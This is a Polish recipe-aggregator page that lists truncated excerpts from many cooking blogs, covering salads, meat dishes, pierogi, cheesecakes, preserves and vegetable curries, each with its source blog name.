słoność świetnie pasuje do słodkich składników sałatki. Sałatka jest super prosta, zdrowa i pożywna. Dzięki soczystym składnikom nie trzeba do niej robić dresingu, ponieważ tworzą one naturalny słodko-kwaskowy sos. Jeśli spodobał Ci się ten przepis spróbuj też sałatki z arbuzem, fetą i prosciutto. Składniki: Ćwiartka dojrzałego arbuza ½ dojrzałego melona 2 garście pomidorków koktajlowych ½ szklanki kuskusu 50 g sera koziego

Niedzielny kucharz
Pieczone klopsiki w ziołowym sosie pomidorowym z awokado i pieczonymi batatami 146

więcej. Zróbcie, to potwierdzą się moje słowa, "popłyniecie" tak jak ja. Zwykłe, niezwykłe pulpety i kilka pysznych dodatków, obiad godny królów, zapraszam. Pieczone klopsiki w ziołowym sosie pomidorowym z awokado i pieczonymi batatami. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Makaron z tuńczykiem, serem i warzywami 179

swoje ulubione warzywa a tuńczyka zamienić na mięso. Żeby zaoszczędzić czas na obróbce mięsa, polecam wykorzystać gotowe wędzone mięsko. Na koniec możecie dodać odrobinę (lub więcej jak kto woli) sosu np. czosnkowego, oczywiście domowej roboty (jogurt+czosnek).  (adsbygoogle = window.adsbygoogle || []).push({}); Polecam przepis na NALEŚNIKOWE WRAPY Z KURCZAKIEM, które również idealnie sprawdzą się na obiad w upalne dni. LINK Wartości

Zdrowie i pysznie na talerzu
Galaretka z awokado 128

solą i cukrem. Powinniśmy otrzymać około 150 ml pulpy awokado. Mleko zagotować, rozpuścić w nim żelatynę. Połączyć mleko z awokado. Masę przelać do foremek wypłukanych zimną wodą. Galaretkę polałam sosem ze zmiksownych truskawek

królestwo garów
Pierś z indyka z czosnkiem i miodem 186

Pierś z indyka to potrawa, na której można się wyłożyć… Niełatwo sprawić, aby mięso było odpowiednio miękkie, a poza tym łatwo stracić upragnioną w każdym mięsie

Via Gusto
Pierogi z kapustą świeżą i kiszoną (wegańskie) 239

składniki Farsz: 1/2 średniej główki kapusty (po ugotowaniu ok. 400 g) 100 g kapusty kiszonej 1 – 2 cebule 3 pieczarki olej lub oliwa przyprawy (suszona włoszczyzna, majeranek, sól, pieprz, sos sojowy) Ciasto: 200 g mąki 1 łyżka oliwy/oleju ok. 90 ml ciepłej wody przygotowanie Kapustę pokrój na mniejsze części, zalej sporą ilością wody i gotuj przez około godzinę – do miękkości

Via Gusto
Chrupiący bananowiec 191

dodatek do kawy. :) Spód: 100 g gorzkiej czekolady 120 g. płatków kukurydzianych 100 g. masła Masło rozpuszczamy w rondelku, dodajemy pokruszoną czekoladę i mieszamy aż się rozpuści. Ten czekoladowy "sos" mieszamy  dokładnie z płatkami. Całość przekładamy do tortownicy (22 cm) i chłodzimy w lodówce. Ja kilka płatków zostawiłam sobie do dekoracji. Masa: 400 g. serka kremowego 200 ml śmietany

Cynamonowe szczęście
Serniczki z mascarpone 152

usmażyłam te. Są delikatne, bardzo serowe, o kremowej konsystencji i z chrupiącą skórką. Serniczki z mascarpone bija wszystkie pozostałe na głowę:) Zajadałam je ze śliwkami, ale każdy inny owocowy sos, dżem lub miód również będą tu pasowały. Bardzo zachęcam do przygotowania! Serniczki z mascarpone Składniki : 150g twarogu półtłustego 50g mascarpone 1 żółtko 1 łyżka mąki (lekko kopiasta) 1 łyżka cukru

Obiad gotowy
Aromatyczny kurczak w ananasie, czyli pomysł na lekką, romantyczną kolację 345

przez około 2 minuty co jakiś czas mieszając Łyżeczkę mąki ziemniaczanej wymieszaj z połową szklanki soku ananasowego lub jabłkowego i wlej na patelnię. Zagotuj i gotuj przez chwilę aż sos zgęstnieje a pozostałe elementy się rozgotują. Przełóż do miseczek z ananasa, posyp czarnuszką i listkami kolendry. Składniki 1 pojedyncza pierś kurczaka, pokrojona w równą kostkę około

Eat me! Fit me!
Kurczak zapiekany w winie z winogronami i pieczarkami 173

winogrona , marchewkę , resztę wina z zalewy . Doprawiamy cukrem , solą do smaku , wkładamy listki laurowe , szczelnie zamykamy . Pieczemy w nagrzanym piekarniku 2 godziny, w temperaturze 170 C . Po tym czasie ,sos, powinien być, lekko gęsty, a kurczak i warzywa, mięciutkie i aromatyczne . Można serwować na gorąco , od razu lub odgrzać, następnego dnia . Proste i pyszne danie . Smacznego ! Artykuł Kurczak zapiekany

Ogrodnik w podróży
Muffiny z Serem i Szynką 140

Wiele z nas szuka różnych nowych smaków i inspiracji więc ja tym razem postawiłam na muffiny wytrawne. Musze przyznać że bardzo ciekawy smak, najlepiej smakują z sosami, czosnkowym albo meksykańskim. Idealne na piknik czy grilla. SKŁADNIKI: 340g mąki 2 jajka 130g masła 250 ml mleka 2 łyżeczki proszku do pieczenia 200g krakowskiej suchej firmy Hańderek 100g sera żółtego duża szczypta

Dziś Ja gotuje
Sałatka z paluszkami surimi i ananasem 188

pozostałych składników sałatki. Kukurydzę konserwową odsączyć i przełożyć do miski, wymieszać. Do osobnej miseczki przełożyć jogurt grecki, dodać do niego majonez, doprawić do smaku solą i czarnym pieprzem mielonym. Sos dokładnie wymieszać i polać nim sałatkę, całość wymieszać. Sałatka z paluszkami surimi i ananasem najlepiej smakuje schłodzona. Artykuł Sałatka z paluszkami surimi i ananasem pochodzi z serwisu WSZYSTKO SMACZNE

WSZYSTKO SMACZNE
Domowe sushi – co potrzebujemy? 231

Jak już nie raz mogliście się przekonać razem z Madzią uwielbiamy sushi. Niestety w Polsce cały czas jest ono dość drogie, więc postanowiliśmy przygotować nasze domowe

Kulinarnyblog.pl - wiesz jak gotować!
Curry z boczniakami 200

skórki i kroimy na cząstki lub w plasterki. Dodajemy do boczniaków, cebuli i przypraw. Dusimy na małym ogniu pod przykryciem tak, aby pomidory w większości rozgotowały się i utworzyły sos. Odparowujemy nadmiar wody. Ryż gotujemy zgodnie z instrukcją na opakowaniu. Cukinię oraz papryki kroimy w cieniutkie paski, a następnie podsmażamy na oliwie z dodatkiem soli i świeżo mielonego czarnego pieprzu

Kate's Kitchen
Sałatka z pstrągiem łososiowym, rzodkiewką i nerkowcami 202

orzechów nerkowca Szczypta soli himalajskiej Odrobina pieprzu czarnego Przygotowanie: Pstrąga smażymy na odrobinie masła. Ściągamy skórę i wybieramy ości. Doprawiamy solą i pieprzem. Rozdrabniamy na mniejsze kawałki. Składniki na sos mieszamy. Rzodkiewkę kroimy w plasterki. Wszystko mieszamy

Czarnawisienka
Boczek po azjatycku na chrupiąco 326

Taki tytuł posta, choć w zasadzie to boczek wg nowego przepisu. Przepis wymyślony na poczekaniu, pod wpływem pewnej rozmowy i zdjęć. Zaczęło się od świetnego artysty

slodkokwasnapl
Makaron z polędwiczką wieprzową i pieczarkami 356

teflonowej ok. 3-4 minuty (na dużym ogniu). 4. Przekładamy usmażoną polędwiczkę na talerz i przykrywamy folią spożywczą. 5. Łączymy pieczarki z polędwiczką, jogurtem i szczyptą soli (nie gotujemy sosu, żeby się nie zważył). 6. Podajemy z makaronem. Makaron z polędwiczką wieprzową i pieczarkami jest bogaty w: - żelazo (pochodzące z polędwiczki wieprzowej), które jest składnikiem hemoglobiny, - błonnik pokarmowy (pochodzący

Zdrowe odżywianie w pięciu smakach
Sernik ze śliwkami i migdałową kruszonką 171

Pełnia lata to dobry czas aby cieszyć się najlepszymi w tym czasie owocami. Z pewnością należą do nich soczyste pachnące słońcem moje ulubione śliwki, przygotowuję z nich powidła, sosy, serniki które obowiązkowo posypuję maślaną migdałową kruszonką , ale nie jest to zwykła kruszonka! Gdy tylko wkładam ten sernik do piekarnika, czuję unoszący się w kuchni wspaniały zapach, zapach słonecznego lata! Mój

Wanilia i Kardamon
Świeży makaron z pieczonymi warzywami 161

gotujemy.   W tym czasie wyciągamy warzywa z piekarnika. Ząbki czosnku wyciągamy i przeciskamy je przez praskę prosto do warzyw. Część pomidorów rozgniatamy widelcem, aby utworzył się pomidory sos.   Makaron odcedzamy i nie przelewając go, taki gorący, wrzucamy do naczynia z warzywami. Wszystko dokładnie mieszamy.   Gotowe danie od razu podajemy, posypane z wierzchu wiórkami parmezanu.   Powrót

Smaczna Strona
Wtorek: Sałatka caprese z kuskusem 188

blendera 2 łyżki siekanego szczypiorku, pietruszki, kilka listków bazylii, wlej 2 łyżki oliwy, łyżkę octu winnego lub soku z cytryny, papryczkę chili lub szczyptę pieprzu kajeńskiego, zmiksuj na gładki sos. Krok 3 Przemieszaj kuskus widelcem, dodaj pesto, wymieszaj z kaszą. Posól i popieprz do smaku. Wysyp kaszę na dwa talerze. Pokrój pomidory i mozzzarelle w plastry. Układaj na kaszy

Niedzielny kucharz
Kompot z wiśni na zimę do słoików. Wiśnie w syropie. 397

Kompot z wiśni na zimę do słoików. Wiśnie w syropie. – czyli wisienki w sosie własnym :) Idealne nie tylko na zimę, ale też na jesień i wiosnę, a nawet na lato :) Jako że są to wiśnie w syropie, to kompot ten oczywiście przed podaniem może być rozcieńczany wodą w ilości wedle uznania ;) Takie wiśnie idealnie sprawdzają się również jako baza

Kulinarne Przeboje
Sałatka z arbuzem i serem feta 268

może dołożyć trochę cebuli. Cała filozofia polega na tym, aby posiekać sałatę i dodać do niej resztę pokrojonych składników. Doprawić odrobiną oleju i pieprzu. Dla przełamania smaku można podrasować sosem zrobionym z jogurtu, majonezu i musztardy. Jeśli chodzi o fetę, to polecam twardszą, jak np. ser bałkański. Nie rozwala się przy mieszaniu i całkiem sympatycznie gnie się pod zębami

Jacob Tastes
Jaglane kluski caprese 188

kalafiory, brokuły, jarmuż, ryż, pomarańcze, cytryny, dziczyznę, owoce morza oraz przeróżne sery: mozzarellę, ricottę, mascarpone i te długo dojrzewające. To kuchnia, która pachnie czosnkiem, bazylią, rozmarynem i godzinami gotowanym sosem pomidorowym. I podobnie pachniała dziś moja kuchnia podczas przygotowywania faszerowanych klusek jaglanych, mojego połączenia kuchni włoskiej i kuchni polskiej. To pracochłonne danie, ale warto mu poświęcić trochę czasu, naprawdę

Weekendy w domu i ogrodzie
Kurki w śmietanie z kurczakiem. Przepis krok po kroku 257

Następnie dodaj oczyszczone kurki. Smaż aż odparuje cały nadmiar wody, który pojawił się po wsypaniu grzybów na patelnie.   Po tym czasie wlej śmietanę, dopraw sos solą i pieprzem. Kiedy nabierze odpowiedniej konsystencji, dodaj posiekany koperek. To danie najlepiej smakuje z plackami ziemniaczanymi   Kurki w śmietanie z kurczakiem. Przepis krok

kuron.com.pl
Indyk z ziemniakami i ziołami z rękawa 243

stopni, wkładamy rękaw i pieczemy przez ok. godzinę. Warto kontrolować czy ziemniaki są twarde. Można w czasie pieczenia przewrócić worek, aby wszystkie składniki dusiły się w powstałym sosie.  Możemy się częstować! Smacznego

Kuchnia moimi oczami
Naleśniki z serem i frużeliną z wiśni! 245

obiad na pomysł dla całej rodziny, za niewielkie pieniądze, a smak zaprowadzi Cię do nadmorskich kurortów. Cienkie naleśniki wypełnione masą z kremowego białego sera, oblane obficie zatopionymi w gęstym sosie wiśniami. Danie idealne na obiad latem i uszczęśliwiające dzieciaki! Przepis na idealne naleśniki znajdziesz na moim blogu - TUTAJ Przepis na naleśniki: NADZIENIE na 8- 10 naleśników - 250 g białego tłustego

SMYKWKUCHNI
Indyk pieczony, sałata rzymska i buraki – pomysł na lunch do pracy 174

indyka układamy ziemniaki obrane i pokrojone w kawałki. Dodajemy wodę, wstawiamy do rozgrzanego piekarnika na 180 C na 90 minut. Od czasu do czasu, dobrze polać ziemniaki i indyka sosem który wytworzy się podczas pieczenia.   Smażona sałata rzymska sałatę opłucz pod bieżącą wodą, osusz ręcznikiem papierowym. Pokrój na pół i potem jeszcze raz na pół. Każdą z połówek posmaruj

Kuchnia na wzgórzu
Obiadowa sałatka warzywna do słoików na zimę 442

świeże warzywa są dostępne , funkcjonują już raczej jako , lekka odmiana . Jednocześnie jest to , doskonały utylizator nadmiarów , koślawych warzyw z ogródka Mimo wszystko, ja czasami lubię , do mięsa w sosie własnym , zaserwować właśnie taką obiadową sałatkę , jest pyszna i wystarczy tylko otworzyć słoiczek … Składniki : 3 kg ogórków 1 kg marchewki 1 kg cebuli 1 kg czerwonej papryki , grubościennej 2 opakowania

Ogrodnik w podróży
Keczup z cukinii 173

Otrzymałam mały słoiczek na wypróbowanie i jestem pod wrażeniem. Bardzo dobry sos do pizzy,parówek itp. Pyszny ,szczerze polecam:) Składniki 1,5 kg cukini 0,5 kg cebuli sól 0,4 kg cukru 1 łyżeczka papryki słodkiej 1 płaska łyżeczka papryki ostrej 2 koncentraty pomidorowe (PUDLISZKI są najlepsze ) 1 szklanka octu 6% lub 1/2 szkl octu 10% … Czytaj dalej

gotuj ze mną
Mule z winem i tymiankiem 163

mule powinny się otworzyć. W trakcie gotowania należy potrząsnąć garnkiem około 3 – 4 razy. Mule, które się nie otworzyły należy wyrzucić. Muszle wyłóż do miseczek wraz z powstałym sosem. Smacznego! Artykuł Mule z winem i tymiankiem pochodzi z serwisu Moja Pasja Smaku

Moja pasja smaku
Herbata z bazylii – zdrowy napój nie tylko na upały :) 159

Bazylia pewnie większości z nas kojarzy się z pysznym i aromatycznym pomidorowym sosem Ale okazuje się, że z bazylii można zaparzyć smakowitą i zdrową herbatę! Otóż m.in. bazylia obniża poziom cukru we krwi, działa przeciwzapalnie, przeciwbakteryjnie i przeciwbólowo. (Więcej informacji o leczniczych właściwościach bazylii można znaleźć tutaj .) A w letnie upały podana z lodem skutecznie chłodzi! Polecam Składniki: 10 listków

Lamarida.pl
Zupa krem borowikowa | vege, vegan | 170

Zebrane przez nas wczoraj w lesie borowiki długo nie poleżały bezczynnie.  Szczerze mówiąc nie wiedziałam co z nich zrobić. Sos? Jajecznicę? Oh, nie. ZUPĘ KREM.  Będąc na kolacji walentynkowej M. zamówił krem borowikowy, który był GENIALNY (chociaż on, bo cała reszta była mocno słaba, no, deser się jeszcze bronił) dlatego spróbowaliśmy go powtórzyć i się udało. Mocno kremowy

Czarnawisienka
Makaron z warzywami w kremowym sosie :) 210

potrawki podeszłam całkowicie spontanicznie. Połączyłam warzywa, które akurat miałam dostępne w domu z orkiszowym makaronem i gęstym, kremowym sosem kokosowym. Wyszło coś niebywale pysznego! Smak jest oryginalny, doprawiony różnymi przyprawami, w tym także pastą miso, o której pisałam TUTAJ . Jest to super opcja na wegański obiad.  Składniki (3 porcje): 100 g makaronu orkiszowego (Edena) 1 średnia cukinia 3 marchewki

Zdrowie na języku :P
Smaki BieszczadówOczywiście na głównych skrzyżowaniach turystycznych szlaków znajdziecie to, co w każdym kurorcie: pizze, 166

pokazuje to rodzinny foodtruck “Bieszczadzki Paśnik” stojący przy parkingu w Wetlinie. Przepyszny syty kebab (który z Haneczką wystarczył nam na dwa posiłki) można zamówić z robionym przez właścicielkę własnoręcznie sosem z czosnku niedźwiedziego. Szczerze polecam, niebo w gębie, tak samo jak serwowane tam niby zwykłe zapiekanki, ale okraszone świeżym szczypiorkiem i pomidorkami koktajlowymi nabierają zupełnie innego charakteru. Podobne rarytasy zaserwowano

Gotuj z Rumcajsem
Leczo z cukinią 180

przygotować tak wspaniałe, sycące danie. Mnóstwo chrupiących, sezonowych warzyw w jednym daniu, które najlepiej smakuje z pajdą pachnącego chleba lub świeżej bagietki z masłem, która można nabierać nadmiar pysznego sosu. Drukuj Czas przygotowania 10 min Czas gotowania 30 min Czas przygotowania 40 min Czas przygotowania 10 min Czas gotowania 30 min Czas przygotowania 40 min Ingredients 600 g kiełbasy myśliwskiej

Wędrówki po kuchni
ZAPIEKANKI Z ZIELONYMI OLIWKAMI, PIECZARKAMI I SEREM MOZZARELLA 346

tartą, żółtą mozzarellę. Wstawiamy zapiekanki na środkową półkę i pieczemy w 180ºC (termoobieg) przez 8-10 minut aż ser całkowicie się rozpuści. Dodajemy na koniec ketchup tworząc dyspenserem do sosów 1-2 cm kulki

chefintheforest
Najlepsze przepisy w lipcu 174

SERNIK KRÓLEWSKI  LINK 6. CIASTO USTA MURZYNKA LINK 7. KOTLECIKI SIEKANE Z KURCZAKA I SERA LINK 8. SZYBKIE PEŁNOZIARNISTE CIASTO ZE ŚLIWKAMI  LINK 9. PULPECIKI W SOSIE PIECZARKOWO KOPERKOWYM LINK 10. JAGLANY MAKOWIEC Z POMARAŃCZĄ  LINK Zapraszam również do obejrzenia rankingu z poprzedniego miesiąca.  LINK

Zdrowie i pysznie na talerzu
Ketchup z cukinii 188

Ketchup z cukinii to kolejny z serii przetworów, które zrobiłem w tym roku. Prócz tradycyjnego zastosowania do kiełbasek ketchup możemy użyć jako sos do makaronu (kiedy nie mamy czasu gotować), do kotlecików lub pizzy. Czas wykonania: 3-4 h Ilość porcji: 6 słoików 0,5 l Składniki

KuchniaWeDwoje.pl
Udka kurczaka z kminek rzymskim, duszone w pomidorach 185

stać przy garach 😋 Składniki: udka z kurczaka - mogą być podudzia, pałki lub ćwiartki przyprawy: sól, pieprz, mielona papryka słodka i ostra, czosnek granulowany, szczypta kminu rzymskiego, kilka kropel ostrego sosu Worchester puszka pomidorów pelati - mogą być całe lub krojone - lub 2 średnie pomidory świeże, najlepiej mocno dojrzałe olej do smażenia duża łyżka masła Mięso oczyścić, osuszyć, naciąć w kilku miejscach

Ze smakiem bez glutenu
Blondies z białą czekoladą 148

proszku do pieczenia  1 opakowanie cukru waniliowego z wanilią Przygotowanie: Masło rozpuszczamy w garnku, zdejmujemy z palnika i dodajemy 100 g białej posiekanej czekolady, mieszamy do otrzymania gładkiego sosu czekoladowego. W misce mieszamy mąkę, cukier, sól, proszek do pieczenia oraz cukier waniliowy. Następnie dodajemy jajka i ciepłą czekoladę, miksujemy na gładką masę. Ciasto przelewamy do wyłożonej papierem foremki

Życie zaczyna się w kuchni
Makaron z tuńczykiem, cukinią, suszonym pomidorem i słonecznikiem 168

parmigianino regino. Wyszło smacznie, polecam i miłego piątku Wam życzę :-)  Składniki na 4 porcje: opakowanie makaronu u mnie penne średnia cukinia kilkanaście suszonych pomidorów 2 puszki tuńczyka w sosie własnym świeża bazylia starty ser parmigianino regino 3/4 szklanki słonecznika 1 łyżeczka czerwonej słodkiej papryki sól pieprz 1 łyżeczka suszonego oregano  olej do smażenia 2 ząbki czosnku 1. Makaron

kruche babeczki
Polędwiczki z sosem serowym 146

musztardy miodowej 2 łyżki masła łyżka mąki po 150 ml bulionu warzywnego i wina białego wytrawnego serek topiony gałka muszkatołowa sól,pieprz Polędwiczki pokrój … Czytaj dalej Polędwiczki z sosem serowym

gotuj ze mną
Spaghetti z cukinią 151

szybkie obiady, szczególnie w lato, kiedy temperatury za oknem są wysokie. Takimi daniami zawsze są makarony, które gotuje się kilka minut, a w międzyczasie możemy przygotować do niego sos lub jakiś inny dodatek. Tym razem do mojego makaronu wybrałam cukinie, bo sezon na te warzywa jest akurat w pełni. Zapraszam po przepis, zobaczcie jak szybko możemy przygotować pyszny i łatwy

Kulinarne przygody Gatity
Placki z cukinii i marchewki 201

odcedzić nadmiar soku. Do warzyw dodajemy pozostałe składniki, doprawiamy do smaku solą oraz pieprzem. Smażymy na rozgrzanym oleju na złoty kolor. Odsączamy z nadmiaru tłuszczu i podajemy z ulubionymi sosami lub kwaśną śmietaną. Sposób przygotowania w Tefal Companion: Obrane i pozbawione nasion cząstki cukinii przepuszczamy  w raz z obraną marchewką przez szatkownicę z założoną tarczą do grubszych wiórek

Kuchnia w czekoladzie
MAKARON Z KURKAMI I SŁODKĄ ŚMIETANKĄ 172

się zarumienią dodaję grzyby oraz 2/3 natki pietruszki, solę i smażę około 2-3 minuty. Po tym czasie wlewam śmietankę, doprawiam świeżo zmielonym pieprzem i w razie potrzeby solą. Sos łączę z makaronem, gotuję jeszcze przez chwilę aż zgęstnieje

JejKuchnia
Ogórki w miodzie – do słoików na zimę 4335

aligncenter" width="685"] Ogórki w miodzie[/caption]   Zobacz inne przepisy z miodem: Skrzydełka W Miodzie I Keczupie Biała Kiełbasa Pieczona W Musztardowo-Miodowej Marynacie Pierś Z Kurczaka W Sosie Cebulowo-Miodowym Karkówka W Miodzie Zdrowe Batoniki Marchewkowe Kacze Udka Pieczone W Pomarańczowej Marynacie Biała Kiełbasa Na Grilla Artykuł Ogórki w miodzie – do słoików na zimę pochodzi z serwisu e-PrzepisyKulinarne.pl

e-PrzepisyKulinarne
Placki z twarogu i kaszy manny 142

Białka ubić na sztywną pianę ze szczyptą soli i delikatnie połączyć z masą twarogową. Smażymy na złoty kolor z obydwu stron na niewielkiej ilości oleju. Podajemy na przykład z sosem czekoladowym. Pyszną zimną kokosową kawkę z dużą ilością pianki przygotowuję przy użyciu spieniacza do mleka. Nasypuję odpowiednią dla swoich preferencji ilość kawy. U mnie 1 łyżeczka jest wystarczająca. Kawa kokosowa

MamaOskarka
Kotlety z marchewki – wegańskie kotlety marchewkowe z pieczarkami i porem 159

Kotlety z marchewki to pomysł na bardzo szybki dodatek do obiadu, świetnie smakują z każdym sosem! //   Składniki: 2 marchewki (250 g) 1 mały por (ok, 50 g po obraniu) 3 – 4 pieczarki 1 cebula 1 łyżka mąki ziemniaczanej 1 łyżka zimnej wody 1 łyżka gorącej wody oliwa, olej sól, pieprz, natka pietruszki, curry bułka tarta Sposób przygotowania: Warzywa

Via Gusto
Leczo letnie 194

czerwona 1/3 główki kalafiora garść fasolki szparagowej 3 średnie świeże pomidory (zamiennie: opakowanie pomidorków cherry, lub 1 puszka pomidorów) 1 łyżeczka papryki słodkiej 1/3 łyżeczki papryki wędzonej 1 łyżeczka sosu sojowego 1/2 łyżeczki cukru sól i pieprz Przygotowanie: Cukinię obieramy, usuwamy gniazdo nasienne i kroimy w kostkę. Paprykę, fasolkę szparagową  również kroimy w kostkę, kalafiora rozdrabniamy na mniejsze różyczki

Bananowe Pole
Orzechy arachidowe - nasiona z potencjałem 147

dużą ilość soli i nieznanego źródła tłuszczu. Orzeszki arachidowe można spożywać w różnej formie np. jako: masło orzechowe (tutaj również szukaj tego 100% z orzechów arachidowych), olej, pasty, sosy, mąki lub mleko orzechowe. Dlaczego akurat orzeszki? Ponieważ są niedoceniane, przez to głównie w jakiej formie możemy je kupić. Wystarczy trochę poszukać w sklepie i można kupić naprawdę wartościowy produkt. Orzechy

Katarzyna Skórska - dietetyk kliniczny
Kotlety wegańskie z fasoli 223

nigdy wcześniej nie jadłam u nikogo, to zaserwowałam. Podałam je z żółtym ryżem ugotowanym z dodatkiem kurkumy i zielonym groszkiem oraz bigosem z dyni. Świetnie smakują także z sosem pomidorowym lub gulaszem. Składniki: 500 g białej fasoli 80 ml bułki tartej plus do obtoczenia (bezglutenowa może być) 3 cebule 1,5 szklanki ryżu plus 4 szklanki wody łyżka soli kala

Zasmakuj Kuchni
Pierś z kurczaka 148

najczęściej praktykowanym sposobem przygotowania piersi z kurczaka jest po prostu kotlet w panierce. W poniższym przepisie przedstawiam wyśmienitą alternatywę przygotowania fileta, a mianowicie pierś z kurczaka z piekarnika w sosie... Tryb czytania Artykuł Pierś z kurczaka pochodzi z serwisu Blog kulinarny Kurkanielotka.pl

PysiaGotuje.pl
Kotlety mielone 141

tradycyjne kotlety mielone zaczynają nam się zwyczajnie nudzić. Ten przepis jest doskonałą alternatywą oklepanych mielonych, który musisz koniecznie wypróbować. Takie kotlety mielone z serem i brokułem, podane z sosem czosnkowo-ziołowym, znikają z talerzy aż miło! 🙂 Ich największą zaletą jest z... Tryb czytania Artykuł Kotlety mielone pochodzi z serwisu Blog kulinarny Kurkanielotka.pl

PysiaGotuje.pl
Sałatka z czerwonych buraczków i pomarańczy 137

skórek bocznych. Wyciekający sok zachowałem. Sok pomarańczowy wymieszałem z sokiem cytrynowym, olejem solą i pieprzem. 12 filecików pomarańczy pozostawiłem w całości, pozostałe przepołowiłem, wymieszałem z buraczkami, cebulą i sosem. Sałatkę podałem ugarnirowaną całymi filetami pomarańczy

R'n'G Kitchen
Sałatka ryżowa z fasolką szparagową oraz rybą 154

cytryny i 1 łyżeczkę miodu. Doprawiamy solą oraz pieprzem. Energicznie potrząsamy, aż składniki ładnie się ze sobą połączą. Ryż mieszamy z fasolką, papryką oraz usmażoną rybą. Polewamy przygotowanym sosem. Dekorujemy posiekanym koperkiem lub szczypiorkiem. 101 przepisów Świata Kobiety

Smaki Na Talerzu
Curry z boczniakami 146

skórki i kroimy na cząstki lub w plasterki. Dodajemy do boczniaków, cebuli i przypraw. Dusimy na małym ogniu pod przykryciem tak, aby pomidory w większości rozgotowały się i utworzyły sos. Odparowujemy nadmiar wody. Ryż gotujemy zgodnie z instrukcją na opakowaniu. Cukinię oraz papryki kroimy w cieniutkie paski, a następnie podsmażamy na oliwie z dodatkiem soli i świeżo mielonego czarnego pieprzu

Kate's Kitchen
KRUCHA ROLADA Z MIĘSEM MIELONYM I OGÓRKAMI 245

Ciasto dokładnie smaruję mlekiem a następnie posypuję solą i pieprzem. Roladę przekłam na blachę wyłożoną papierem do pieczenia. Piekę ok 40 min w 180 stopniach. Podaję z ulubionym sosem

Gotowanie Patki
KANAPKI NA CIEPŁO Z NIESPODZIANKĄ 199

środka nakładamy farsz, delikatnie zalewamy jajkiem, posypujemy serem żółtym i przykrywamy wyciętym środkiem. Smażymy pod przykryciem na niewielkim ogniu z obu stron. Podajemy na ciepło z keczupem lub sosem czosnkowym. Smacznego

Pani na deser
Smażone kalmary w panierce 163

sposób kalmary smażymy na mocno rozgrzanym oleju przez 30-60 sekund z każdej strony – powinny być złoto brązowe. Odkładamy na papierowy ręcznik. Kalmary podajemy z czosnkowym majonezem lub sosem jogurtowym.   Post Smażone kalmary w panierce pochodzi z bloga Poezja smaku

Poezja smaku
Zupa z fasolki szparagowej 297

taką zupkę zabielała przy pomocy śmietany. Ja ze względu na upały tego nie zrobiłam. Jeśli ktoś miałby ochotę wystarczy dodać zahartowaną śmietanę 18% (najlepiej produkt przeznaczony do zup i sosów

Kolizje Smaków
Kuskus z kurczakiem i fasolką szparagową 165

mniejsze części pomidory oraz ugotowaną fasolkę. Podlewamy całość około 1/2 szklanki wody i dusimy przez około 10 minut. Na koniec wlewamy śmietanę, gotujemy jeszcze przez kilka minut, aż wytworzony sos delikatnie się zredukuje. Kaszę przesypujemy do miski. Zalewamy gorącym bulionem w takiej ilości, by przykrył on kaszę na ponad 1 cm. Miskę odstawiamy pod przykryciem na kilka minut (aż wchłonie

Smaki Na Talerzu
PLACUSZKI Z CUKINI Z FETĄ 183

przekładam na ręcznik papierowy i lekko przyciskam ( tak by pozbyć się nadmiary tłuszczu).  Placki powinny być chrupiące z zewnątrz a miękkie i delikatne w środku. Podaję z ulubiony sosem. Smacznego

Gotowanie Patki
Miodowo-musztardowe polędwiczki z kurczaka z papryką 153

jogurtu naturalnego Marynata: 1/4 szklanki oliwy 1/4 szklanki miodu płynnego 1 łyżka musztardy sól i pieprz Przygotowanie: mięso umyj, przełóż do miski składniki marynaty wymieszaj ze sobą na gładki sos za pomocą blendera i zalej nią mięso, odstaw do lodówki na godzinę pokrój paprykę w paski po godzinie wyjmij mięso z lodówki rozgrzej patelnię, bez tłuszczu, oliwa jest w marynacie

Oka w rosole czyli KaFka gotuje
Babeczki z porzeczkami. Przepis krok po kroku. 210

Niewiele osób też wie, że bardzo dobrze nadaje się do wytrawnych dań np: Ostatnio widziałem podczas tak zwanej nocy „śledzioźerców”, śledzia podanego z czerwoną porzeczką. Sos porzeczkowy wybitnie nadaje się do ciemnych mięs. A smorodinówka to jedna z moich ulubionych nalewek. Nie zapominajmy o słodyczach, a najbardziej

kuron.com.pl
KREWETKI SAGANAKI - czyli krwetki w sosie pomidorowym z fetą. 197

przyjaciółmi na świeżym powietrzu. Popularne są krótkie wycieczki, pikniki i puszczanie latawców. Czysty Poniedziałek to dzień tradycyjnych potraw i dlatego upichciłam coś co uwielbiam : krewetki saganaki - czyli krewetki w sosie pomidorowym z fetą. SKŁADNIKI: 👌 świeża pietruszka 👌 1 duża cebula 👌 feta 250 gr. 👌 2 dojrzałe pomidory 👌 1 słodka czerwona papryka 👌 1/2 łyżeczki soli 👌 1/2 łyżeczki pieprzu 👌 3 łyżeczki oregano 👌 2 łyżki

RITA food channel
SERNIK NA DZIEŃ MAMY 144

będą już bardzo miękkie, ściągamy z ognia i dodajemy żelatynę. Zostawiamy do ostudzenia i stężenia. Sernik już upieczony i w miarę ostudzony wyciągamy z foremki. Na górę polewamy ostudzonym sosem truskawkowym. Dekorujemy nasz pyszny sernik truskawkami. Taki sernik w kształcie serca jest idealny na Dzień Mamy, Walentynki, urodziny czy też imieniny.   SMACZNEGO! 🍓 🍓 🍓 🍓 🍓 🍓🍓 🍓 🍓🍓 🍓 🍓🍓 🍓 🍓🍓 🍓 🍓🍓 🍓 🍓🍓 🍓 🍓🍓 🍓 🍓 🍓 🍓 🍓 🍓🍓 🍓 🍓🍓 🍓 🍓🍓 🍓 my social media: 🎬 YouTube

RITA food channel
Barbunya pilaki 179

Słowo "pilaki" oznacza w Turcji pewien styl przygotowywania potraw. Nie jest to jedna potrawa, rodzajów pilaki jest wiele. Zawsze jednak pilaki polega na gotowaniu składników w sosie zrobionym z oliwy, cebuli, czosnku, marchewki, ziemniaka i pomidorów lub przecieru pomidorowego. Biała fasola przygotowana w tym stylu to fasulye pilaki, natomiast barbunya pilaki jest przyrządzona z fasoli borlotti

Delicious Place
Sałatka z bazylią i jeżynami 145

boki sera. Wyłóż na talerz. Sałaty rozłóż na talerzach, dodaj po trochę listków bazylii zielonej i fioletowej, posyp jeżynami. Na wierzchu ułóż pokrojony na trójkąciki zapieczony ser. Składniki na sos winegret wymieszaj ze sobą i polej po sałacie. Dodatkowo możesz podać do sałatki podpieczone bagietki z masłem czosnkowym

Delicious Place
Tortellini z bobem w sosie ogórkowo-cytrynowym / Tortellini with broad beans in a cucumber-lemon sauce 179

